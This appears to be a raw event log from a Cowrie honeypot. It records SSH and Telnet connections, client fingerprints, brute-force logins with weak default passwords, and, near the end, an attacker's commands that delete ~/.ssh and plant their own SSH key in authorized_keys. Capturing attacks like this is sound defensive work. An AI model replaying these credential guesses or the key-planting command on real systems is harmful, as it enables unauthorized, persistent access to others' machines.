{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:57.478255Z","src_ip":"87.251.64.176","session":"fdf60c1bf49a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:57.574565Z","src_ip":"87.251.64.176","session":"fdf60c1bf49a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:57.863594Z","src_ip":"87.251.64.176","session":"fdf60c1bf49a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:57.965248Z","session":"fdf60c1bf49a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:58.062963Z","src_ip":"87.251.64.176","session":"fdf60c1bf49a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:34:58.162988Z","src_ip":"87.251.64.176","session":"fdf60c1bf49a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:17.201160Z","src_ip":"122.168.114.167","session":"c0fa8305784c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":49874,"dst_ip":"10.17.0.5","dst_port":22,"session":"759fcadbeebf","protocol":"ssh","message":"New connection: 210.114.22.126:49874 (10.17.0.5:22) [session: 759fcadbeebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:18.894087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:19.095462Z","src_ip":"210.114.22.126","session":"759fcadbeebf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:19.309367Z","src_ip":"210.114.22.126","session":"759fcadbeebf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"1q2w3e4r","message":"login attempt [user2/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:20.606365Z","src_ip":"210.114.22.126","session":"759fcadbeebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.114.125","src_port":45516,"dst_ip":"159.203.135.109","dst_port":23,"session":"67e9817993d9","protocol":"telnet","message":"New connection: 154.16.114.125:45516 (159.203.135.109:23) [session: 67e9817993d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:20.691067Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":39690,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ade64a8be4f","protocol":"ssh","message":"New connection: 122.168.114.167:39690 (159.203.135.109:22) [session: 3ade64a8be4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:20.721635Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:21.908736Z","src_ip":"210.114.22.126","session":"759fcadbeebf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"43.8","message":"Connection lost after 43.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:24.845632Z","src_ip":"122.168.114.167","session":"c0fa8305784c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:27.117364Z","src_ip":"122.168.114.167","session":"3ade64a8be4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:27.120942Z","src_ip":"122.168.114.167","session":"3ade64a8be4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":42694,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f5933838d6c","protocol":"ssh","message":"New connection: 103.13.206.208:42694 (159.203.135.109:22) [session: 4f5933838d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:49.586021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:49.590600Z","src_ip":"103.13.206.208","session":"4f5933838d6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:49.835420Z","src_ip":"103.13.206.208","session":"4f5933838d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"china123","message":"login attempt [root/china123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:50.845381Z","src_ip":"103.13.206.208","session":"4f5933838d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:52.092619Z","src_ip":"103.13.206.208","session":"4f5933838d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:56.186939Z","src_ip":"122.168.114.167","session":"3ade64a8be4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":42100,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c72d6d3b5a2","protocol":"ssh","message":"New connection: 122.168.114.167:42100 (159.203.135.109:22) [session: 4c72d6d3b5a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:35:57.574331Z"}
{"eventid":"cowrie.session.closed","duration":42.79207921028137,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:03.483039Z","src_ip":"154.16.114.125","session":"67e9817993d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"45.8","message":"Connection lost after 45.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:06.520478Z","src_ip":"122.168.114.167","session":"3ade64a8be4f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:06.588472Z","src_ip":"122.168.114.167","session":"4c72d6d3b5a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:06.592362Z","src_ip":"122.168.114.167","session":"4c72d6d3b5a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.114.172","src_port":39210,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd6b2a62c679","protocol":"ssh","message":"New connection: 14.103.114.172:39210 (10.17.0.5:22) [session: cd6b2a62c679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:10.529796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:10.537002Z","src_ip":"14.103.114.172","session":"cd6b2a62c679","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:10.760648Z","src_ip":"14.103.114.172","session":"cd6b2a62c679","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zxcvbnm,./","message":"login attempt [ubuntu/zxcvbnm,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:11.690017Z","src_ip":"14.103.114.172","session":"cd6b2a62c679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:12.923576Z","src_ip":"14.103.114.172","session":"cd6b2a62c679","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":34978,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b4a23ea29a9","protocol":"ssh","message":"New connection: 106.75.222.164:34978 (10.17.0.5:22) [session: 6b4a23ea29a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:24.128488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:24.133594Z","src_ip":"106.75.222.164","session":"6b4a23ea29a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:24.381983Z","src_ip":"106.75.222.164","session":"6b4a23ea29a9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123qwe123","message":"login attempt [oracle/123qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:25.409074Z","src_ip":"106.75.222.164","session":"6b4a23ea29a9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:25.948657Z","src_ip":"106.75.222.164","session":"6b4a23ea29a9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:25.951800Z","src_ip":"106.75.222.164","session":"6b4a23ea29a9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:25.954966Z","src_ip":"106.75.222.164","session":"6b4a23ea29a9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:26.206556Z","src_ip":"106.75.222.164","session":"6b4a23ea29a9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:26.735832Z","src_ip":"106.75.222.164","session":"6b4a23ea29a9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:26.739063Z","src_ip":"106.75.222.164","session":"6b4a23ea29a9","protocol":"ssh"}
